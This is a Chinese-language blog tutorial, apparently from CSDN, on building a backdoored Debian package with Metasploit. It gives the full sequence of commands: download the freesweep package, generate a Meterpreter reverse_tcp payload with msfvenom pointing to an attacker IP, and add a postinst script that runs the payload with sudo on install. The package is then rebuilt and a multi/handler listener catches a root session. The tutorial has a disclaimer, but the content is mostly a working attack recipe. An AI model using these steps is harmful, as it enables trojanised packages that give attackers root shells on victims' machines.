今天继续给大家介绍渗透测试相关知识，本文主要内容是MSF实战制作deb软件包后门。
免责声明：
本文所介绍的内容仅做学习交流使用，严禁利用文中技术进行非法行为，否则造成一切严重后果自负！
再次强调：严禁对未授权设备进行渗透测试！
一、deb恶意软件包制作
首先，我们先下载一个正常的deb软件包，执行命令：
apt install --download-only freesweep
其中，–download-only参数的作用是表明该软件包只下载，不安装。
该命令执行结果如下所示：
在默认情况下，apt命令下载的安装包都在/var/cache/apt/archives/目录下，如下所示：
之后，我们需要将该deb包解压，执行命令：
dpkg -x freesweep_1.0.2-1_amd64.deb /root/free
该命令可以将free软件包解压到/root目录下，该命令执行结果如下所示：
之后，我们进入到/root/free/usr/games目录下，执行命令：
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.136.199 LPORT=4444 -b "\x00" -i 10 -f elf -o ./freesweep_exp
表示生成一个名为freesweep_exp的后门，该命令执行结果如下所示：
之后，我们在/root/free/目录下，新建一个名为DEBIAN的目录，然后在该目录下新创建一个名为control的文件。在该文件中写入如下内容：
Package:freesweep
Version:1.2.0-2
Section:pzz
Priority:pzz
Architecture:amd64
Maintainer:Ubuntu
Description:********
注：在上述配置中，目录和文件名称不能变动，文件中的内容除了Architecture不能变动外，其余的在保证参数名称争取的情况下，可以随意更改。
之后，我们再新建一个postinst的文件，在该文件下写入如下内容：
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_exp
sudo /usr/games/freesweep_exp
之后，我们给该文件授予可执行权限，执行命令：
chmod 755 /root/free/DEBIAN/postinst
在上述所有操作全部完成后，我们就设置好了我们的带有后门的deb包了，接下来，我们需要将该deb包再次打包，执行命令：
dpkg-deb --build /root/free
该命令执行结果如下所示：
这时，在/root/目录下，就会出现名为free.deb的deb软件包，如下所示：
二、效果检验
在完成恶意软件包的制作后，我们接下来就可以来检验该软件包的效果了。
首先，我们在Kali Linux上，启动exploit/multi/handler模块，设置linux/x64/meterpreter/reverse_tcp的payload，并设置LHOST参数，所有设置如下所示：
之后，我们执行run，即可开启监听。
我们在其他的设备上，下载并安装该软件包，如下所示：
此时，我们可以看到Kali Linux的MSF上出现了一个链接，如下所示：
从上图可知，我们带有后门的deb安装包获得了root权限，我们实战成功！
原创不易，转载请说明出处：https://blog.csdn.net/weixin_40228200